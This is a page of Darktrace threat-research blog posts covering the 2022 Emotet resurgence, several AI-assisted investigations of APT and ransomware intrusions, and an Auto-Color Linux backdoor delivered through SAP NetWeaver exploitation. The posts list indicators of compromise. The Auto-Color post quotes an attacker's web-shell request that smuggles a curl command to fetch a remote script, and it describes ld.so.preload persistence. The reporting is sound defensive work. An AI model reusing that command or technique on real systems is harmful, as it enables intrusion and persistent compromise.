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August 22, 2022

Emotet Resurgence: Cross-Industry Analysis

Technical insights on the Emotet resurgence in 2022 across various client environments, industries, and regions.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Eugene Chua
Cyber Security Analyst
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22
Aug 2022

Introduction

Last year provided further evidence that the cyber threat landscape remains both complex and challenging to predict. Between uncertain attribution, novel exploits and rapid malware developments, it is becoming harder to know where to focus security efforts. One of the largest surprises of 2021 was the re-emergence of the infamous Emotet botnet. This is an example of a campaign that ignored industry verticals or regions and seemingly targeted companies indiscriminately. Only 10 months after the Emotet takedown by law enforcement agencies in January, new Emotet activities in November were discovered by security researchers. These continued into the first quarter of 2022, a period which this blog will explore through findings from the Darktrace Threat Intel Unit. 

Dating back to 2019, Emotet was known to deliver Trickbot payloads which ultimately deployed Ryuk ransomware strains on compromised devices. This interconnectivity highlighted the hydra-like nature of threat groups wherein eliminating one (even with full-scale law enforcement intervention) would not rule them out as a threat nor indicate that the threat landscape would be any more secure. 

When Emotet resurged, as expected, one of the initial infection vectors involved leveraging existing Trickbot infrastructure. However, unlike the original attacks, it featured a brand new phishing campaign.

Figure 1: Distribution of observed Emotet activities across Darktrace deployments

Although similar to the original Emotet infections, the new wave of infections has been classified into two categories: Epochs 4 and 5. These had several key differences compared to Epochs 1 to 3. Within Darktrace’s global deployments, Emotet compromises associated to Epoch 4 appeared to be the most prevalent. Affected customer environments were seen within a large range of countries (Figure 1) and industry verticals such as manufacturing and supply chain, hospitality and travel, public administration, technology and telecoms and healthcare. Company demographics and size did not appear to be a targeting factor as affected customers had varying employee counts ranging from less than 250, to over 5000.

Key differences between Epochs 1-3 vs 4-5

Based on wider security research into the innerworkings of the Emotet exploits, several key differences were identified between Epochs 4/5 and its predecessors. The newer epochs used:

·       A different Microsoft document format (OLE vs XML-based).

·       A different encryption algorithm for communication. The new epochs used Elliptic Curve Cryptograph (ECC) [1] with public encryption keys contained in the C2 configuration file [2]. This was different from the previous Rivest-Shamir-Adleman (RSA) key encryption method.

·       Control Flow Flattening was used as an obfuscation technique to make detection and reverse engineering more difficult. This is done by hiding a program’s control flow [3].

·       New C2 infrastructure was observed as C2 communications were directed to over 230 unique IPs all associated to the new Epochs 4 and 5.

In addition to the new Epoch 4 and 5 features, Darktrace detected unsurprising similarities in those deployments affected by the renewed campaign. This included self-signed SSL connections to Emotet’s new infrastructure as well as malware spam activities to multiple rare external endpoints. Preceding these outbound communications, devices across multiple deployments were detected downloading Emotet-associated payloads (algorithmically generated DLL files).

Emotet Resurgence Campaign

Figure 2: Darktrace’s Detection Timeline for Emotet Epoch 4 and 5 compromises

1. Initial Compromise

The initial point of entry for the resurgence activity was almost certainly via Trickbot infrastructure or a successful phishing attack (Figure 2). Following the initial intrusion, the malware strain begins to download payloads via macro-ladened files which are used to spawn PowerShell for subsequent malware downloads.

Following the downloads, malicious communication with Emotet’s C2 infrastructure was observed alongside activities from the spam module. Within Darktrace, key techniques were observed and documented below.

2. Establish Foothold: Binary Dynamic-link library (.dll) with algorithmically generated filenames 

Emotet payloads are polymorphic and contain algorithmically generated filenames . Within deployments, HTTP GET requests involving a suspicious hostname, www[.]arkpp[.]com, and Emotet related samples such as those seen below were observed:

·       hpixQfCoJb0fS1.dll (SHA256 hash: 859a41b911688b00e104e9c474fc7aaf7b1f2d6e885e8d7fbf11347bc2e21eaa)

·       M0uZ6kd8hnzVUt2BNbRzRFjRoz08WFYfPj2.dll (SHA256 hash: 9fbd590cf65cbfb2b842d46d82e886e3acb5bfecfdb82afc22a5f95bda7dd804)

·       TpipJHHy7P.dll (SHA256 hash: 40060259d583b8cf83336bc50cc7a7d9e0a4de22b9a04e62ddc6ca5dedd6754b)

These DLL files likely represent the distribution of Emotet loaders which depends on windows processes such as rundll32[.]exe and regsvr32[.]exe to execute. 

3. Establish Foothold: Outbound SSL connections to Emotet C2 servers 

A clear network indicator of compromise for Emotet’s C2 communication involved self-signed SSL using certificate issuers and subjects which matched ‘CN=example[.]com,OU=IT Department,O=Global Security,L=London,ST=London,C=GB’ , and a common JA3 client fingerprint (72a589da586844d7f0818ce684948eea). The primary C2 communications were seen involving infrastructures classified as Epoch 4 rather than 5. Despite encryption in the communication content, network contextual connection details were sufficient for the detection of the C2 activities (Figure 3).

Figure 3: UI Model Breach logs on download and outbound SSL activities.

Outbound SSL and SMTP connections on TCP ports 25, 465, 587 

An anomalous user agent such as, ‘Microsoft Outlook 15.0’, was observed being used for SMTP connections with some subject lines of the outbound emails containing Base64-encoded strings. In addition, this JA3 client fingerprint (37cdab6ff1bd1c195bacb776c5213bf2) was commonly seen from the SSL connections. Based on the set of malware spam hostnames observed across at least 10 deployments, the majority of the TLDs were .jp, .com, .net, .mx, with the Japanese TLD being the most common (Figure 4).

Figure 4: Malware Spam TLDs observed in outbound SSL and SMTP

 Plaintext spam content generated from the spam module were seen in PCAPs (Figure 5). Examples of clear phishing or spam indicators included 1) mismatched personal header and email headers, 2) unusual reply chain and recipient references in the subject line, and 3) suspicious compressed file attachments, e.g. Electronic form[.]zip.

Figure 5: Example of PCAP associated to SPAM Module

4. Accomplish Mission

 The Emotet resurgence also showed through secondary compromises involving anomalous SMB drive writes related to CobaltStrike. This consistently included the following JA3 hash (72a589da586844d7f0818ce684948eea) seen in SSL activities as well as SMB writes involving the svchost.exe file.

Darktrace Detection

 The key DETECT models used to identify Emotet Resurgence activities were focused on determining possible C2. These included:

·       Suspicious SSL Activity

·       Suspicious Self-Signed SSL

·       Rare External SSL Self-Signed

·       Possible Outbound Spam

File-focused models were also beneficial and included:

·       Zip or Gzip from Rare External Location

·       EXE from Rare External Location

Darktrace’s detection capabilities can also be shown through a sample of case studies identified during the Threat Research team’s investigations.

Case Studies 

Darktrace’s detection of Emotet activities was not limited by industry verticals or company sizing. Although there were many similar features seen across the new epoch, each incident displayed varying techniques from the campaign. This is shown in two client environments below:

When investigating a large customer environment within the public administration sector, 16 different devices were detected making 52,536 SSL connections with the example[.]com issuer. Devices associated with this issuer were mainly seen breaching the same Self-Signed and Spam DETECT models. Although anomalous incoming octet-streams were observed prior to this SSL, there was no clear relation between the downloads and the Emotet C2 connections. Despite the total affected devices occupying only a small portion of the total network, Darktrace analysts were able to filter against the much larger network ‘noise’ and locate detailed evidence of compromise to notify the customer.

Darktrace also identified new Emotet activities in much smaller customer environments. Looking at a company in the healthcare and pharmaceutical sector, from mid-March 2022 a single internal device was detected making an HTTP GET request to the host arkpp[.]com involving the algorithmically-generated DLL, TpipJHHy7P.dll with the SHA256 hash: 40060259d583b8cf83336bc50cc7a7d9e0a4de22b9a04e62ddc6ca5dedd6754b (Figure 6). 

Figure 6: A screenshot from VirusTotal, showing that the SHA256 hash has been flagged as malicious by other security vendors.

After the sample was downloaded, the device contacted a large number of endpoints that had never been contacted by devices on the network. The endpoints were contacted over ports 443, 8080, and 7080 involving Emotet related IOCs and the same SSL certificate mentioned previously. Malware spam activities were also observed during a similar timeframe.

 The Emotet case studies above demonstrate how autonomous detection of an anomalous sequence of activities - without depending on conventional rules and signatures - can reveal significant threat activities. Though possible staged payloads were only seen in a proportion of the affected environments, the following outbound C2 and malware spam activities involving many endpoints and ports were sufficient for the detection of Emotet.

 If present, in both instances Darktrace’s Autonomous Response technology, RESPOND, would recommend or implement surgical actions to precisely target activities associated with the staged payload downloads, outgoing C2 communications, and malware spam activities. Additionally, restriction to the devices’ normal pattern of life will prevent simultaneously occurring malicious activities while enabling the continuity of normal business operations.

 Conclusion 

·       The technical differences between past and present Emotet strains emphasizes the versatility of malicious threat actors and the need for a security solution that is not reliant on signatures.

·       Darktrace’s visibility and unique behavioral detection continues to provide visibility to network activities related to the novel Emotet strain without reliance on rules and signatures. Key examples include the C2 connections to new Emotet infrastructure.

·       Looking ahead, detection of C2 establishment using suspicious DLLs will prevent further propagation of the Emotet strains across networks.

·       Darktrace’s AI detection and response will outpace conventional post compromise research involving the analysis of Emotet strains through static and dynamic code analysis, followed by the implementation of rules and signatures.

Thanks to Paul Jennings and Hanah Darley for their contributions to this blog.

Appendices

Model breaches

·       Anomalous Connection / Anomalous SSL without SNI to New External 

·       Anomalous Connection / Application Protocol on Uncommon Port 

·       Anomalous Connection / Multiple Connections to New External TCP Port 

·       Anomalous Connection / Multiple Failed Connections to Rare Endpoint 

·       Anomalous Connection / Multiple HTTP POSTs to Rare Hostname 

·       Anomalous Connection / Possible Outbound Spam 

·       Anomalous Connection / Rare External SSL Self-Signed 

·       Anomalous Connection / Repeated Rare External SSL Self-Signed      

·       Anomalous Connection / Suspicious Expired SSL 

·       Anomalous Connection / Suspicious Self-Signed SSL

·       Anomalous File / Anomalous Octet Stream (No User Agent) 

·       Anomalous File / Zip or Gzip from Rare External Location 

·       Anomalous File / EXE from Rare External Location

·       Compromise / Agent Beacon to New Endpoint 

·       Compromise / Beacon to Young Endpoint 

·       Compromise / Beaconing Activity To External Rare 

·       Compromise / New or Repeated to Unusual SSL Port 

·       Compromise / Repeating Connections Over 4 Days 

·       Compromise / Slow Beaconing Activity To External Rare 

·       Compromise / SSL Beaconing to Rare Destination 

·       Compromise / Suspicious Beaconing Behaviour 

·       Compromise / Suspicious Spam Activity 

·       Compromise / Suspicious SSL Activity 

·       Compromise / Sustained SSL or HTTP Increase 

·       Device / Initial Breach Chain Compromise 

·       Device / Large Number of Connections to New Endpoints 

·       Device / Long Agent Connection to New Endpoint 

·       Device / New User Agent 

·       Device / New User Agent and New IP 

·       Device / SMB Session Bruteforce 

·       Device / Suspicious Domain 

·       Device / Suspicious SMB Scanning Activity 

For Darktrace customers who want to know more about using Darktrace to triage Emotet, refer here for an exclusive supplement to this blog.

References

[1] https://blog.lumen.com/emotet-redux/

[2] https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html

[3] https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Eugene Chua
Cyber Security Analyst

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August 1, 2025

Darktrace's Cyber AI Analyst in Action: 4 Real-World Investigations into Advanced Threat Actors

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From automation to intelligence

There’s a lot of attention around AI in cybersecurity right now, similar to how important automation felt about 15 years ago. But this time, the scale and speed of change feel different.

In the context of cybersecurity investigations, the application of AI can significantly enhance an organization's ability to detect, respond to, and recover from incidents. It enables a more proactive approach to cybersecurity, ensuring a swift and effective response to potential threats.

At Darktrace, we’ve learned that no single AI technique can solve cybersecurity on its own. We employ a multi-layered AI approach, strategically integrating a diverse set of techniques both sequentially and hierarchically. This layered architecture allows us to deliver proactive, adaptive defense tailored to each organization’s unique environment.

Darktrace uses a range of AI techniques to perform in-depth analysis and investigation of anomalies identified by lower-level alerts, in particular automating Levels 1 and 2 of the Security Operations Centre (SOC) team’s workflow. This saves teams time and resources by automating repetitive and time-consuming tasks carried out during investigation workflows. We call this core capability Cyber AI Analyst.

How Darktrace’s Cyber AITM Analyst works

Cyber AI Analyst mimics the way a human carries out a threat investigation: evaluating multiple hypotheses, analyzing logs for involved assets, and correlating findings across multiple domains. It will then generate an alert with full technical details, pulling relevant findings into a single pane of glass to track the entire attack chain.

Learn more about how Cyber AI Analyst accomplishes this here:

This blog will highlight four examples where Darktrace’s agentic AI, Cyber AI Analyst, successfully identified the activity of sophisticated threat actors, including nation state adversaries. The final example will include step-by-step details of the investigations conducted by Cyber AI Analyst.

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Case 1: Cyber AI Analyst vs. ShadowPad Malware: East Asian Advanced Persistent Threat (APT)

In March 2025, Darktrace detailed a lengthy investigation into two separate threads of likely state-linked intrusion activity in a customer network, showcasing Cyber AI Analyst’s ability to identify different activity threads and piece them together.

The first of these threads...

occurred in July 2024 and involved a malicious actor establishing a foothold in the customer’s virtual private network (VPN) environment, likely via the exploitation of an information disclosure vulnerability (CVE-2024-24919) affecting Check Point Security Gateway devices.

Using compromised service account credentials, the actor then moved laterally across the network via RDP and SMB, with files related to the modular backdoor ShadowPad being delivered to targeted internal systems. Targeted systems went on to communicate with a C2 server via both HTTPS connections and DNS tunnelling.

The second thread of activity...

Which occurred several months earlier in October 2024, involved a malicious actor infiltrating the customer's desktop environment via SMB and WMI.

The actor used these compromised desktops to discriminately collect sensitive data from a network share before exfiltrating such data to a web of likely compromised websites.

For each of these threads of activity, Cyber AI Analyst was able to identify and piece together the relevant intrusion steps by hypothesizing, analyzing, and then generating a singular view of the full attack chain.

Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Figure 1: Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.
Figure 2: Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.

These Cyber AI Analyst investigations enabled a quicker understanding of the threat actor’s sequence of events and, in some cases, led to faster containment.

Read the full detailed blog on Darktrace’s ShadowPad investigation here!

Case 2: Cyber AI Analyst vs. Blind Eagle: South American APT

Since 2018, APT-C-36, also known as Blind Eagle, has been observed performing cyber-attacks targeting various sectors across multiple countries in Latin America, with a particular focus on Colombia.

In February 2025, Cyber AI Analyst provided strong coverage of a Blind Eagle intrusion targeting a South America-based public transport provider, identifying and correlating various stages of the attack, including tooling.

Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Figure 3: Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.
Figure 4: Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.

In this campaign, threat actors have been observed using phishing emails to deliver malicious URL links to targeted recipients, similar to the way threat actors have previously been observed exploiting CVE-2024-43451, a vulnerability in Microsoft Windows that allows the disclosure of a user’s NTLMv2 password hash upon minimal interaction with a malicious file [4].

In late February 2025, Darktrace observed activity assessed with medium confidence to be associated with Blind Eagle on the network of a customer in Colombia. Darktrace observed a device on the customer’s network being directed over HTTP to a rare external IP, namely 62[.]60[.]226[.]112, which had never previously been seen in this customer’s environment and was geolocated in Germany.

Read the full Blind Eagle threat story here!

Case 3: Cyber AI Analyst vs. Ransomware Gang

In mid-March 2025, a malicious actor gained access to a customer’s network through their VPN. Using the credential 'tfsservice', the actor conducted network reconnaissance, before leveraging the Zerologon vulnerability and the Directory Replication Service to obtain credentials for the high-privilege accounts, ‘_svc_generic’ and ‘administrator’.

The actor then abused these account credentials to pivot over RDP to internal servers, such as DCs. Targeted systems showed signs of using various tools, including the remote monitoring and management (RMM) tool AnyDesk, the proxy tool SystemBC, the data compression tool WinRAR, and the data transfer tool WinSCP.

The actor finally collected and exfiltrated several gigabytes of data to the cloud storage services, MEGA, Backblaze, and LimeWire, before returning to attempt ransomware detonation.

Figure 5: Cyber AI Analyst detailing its full investigation, linking 34 related Incident Events in a single pane of glass.

Cyber AI Analyst identified, analyzed, and reported on all corners of this attack, resulting in a threat tray made up of 34 Incident Events into a singular view of the attack chain.

Cyber AI Analyst identified activity associated with the following tactics across the MITRE attack chain:

  • Initial Access
  • Persistence
  • Privilege Escalation
  • Credential Access
  • Discovery
  • Lateral Movement
  • Execution
  • Command and Control
  • Exfiltration

Case 4: Cyber AI Analyst vs Ransomhub

Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.
Figure 6: Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.

A malicious actor appeared to have entered the customer’s network their VPN, using a likely attacker-controlled device named 'DESKTOP-QIDRDSI'. The actor then pivoted to other systems via RDP and distributed payloads over SMB.

Some systems targeted by the attacker went on to exfiltrate data to the likely ReliableSite Bare Metal server, 104.194.10[.]170, via HTTP POSTs over port 5000. Others executed RansomHub ransomware, as evidenced by their SMB-based distribution of ransom notes named 'README_b2a830.txt' and their addition of the extension '.b2a830' to the names of files in network shares.

Through its live investigation of this attack, Cyber AI Analyst created and reported on 38 Incident Events that formed part of a single, wider incident, providing a full picture of the threat actor’s behavior and tactics, techniques, and procedures (TTPs). It identified activity associated with the following tactics across the MITRE attack chain:

  • Execution
  • Discovery
  • Lateral Movement
  • Collection
  • Command and Control
  • Exfiltration
  • Impact (i.e., encryption)
Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 7: Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 8: Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
 Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace. Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 9: Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 10: Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 11: Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.

Conclusion

Security teams are challenged to keep up with a rapidly evolving cyber-threat landscape, now powered by AI in the hands of attackers, alongside the growing scope and complexity of digital infrastructure across the enterprise.

Traditional security methods, even those that use some simple machine learning, are no longer sufficient, as these tools cannot keep pace with all possible attack vectors or respond quickly enough machine-speed attacks, given their complexity compared to known and expected patterns. Security teams require a step up in their detection capabilities, leveraging machine learning to understand the environment, filter out the noise, and take action where threats are identified. This is where Cyber AI Analyst steps in to help.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISO), Sam Lister (Security Researcher), Emma Foulger (Global Threat Research Operations Lead), and Ryan Traill (Analyst Content Lead)

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July 30, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

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In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

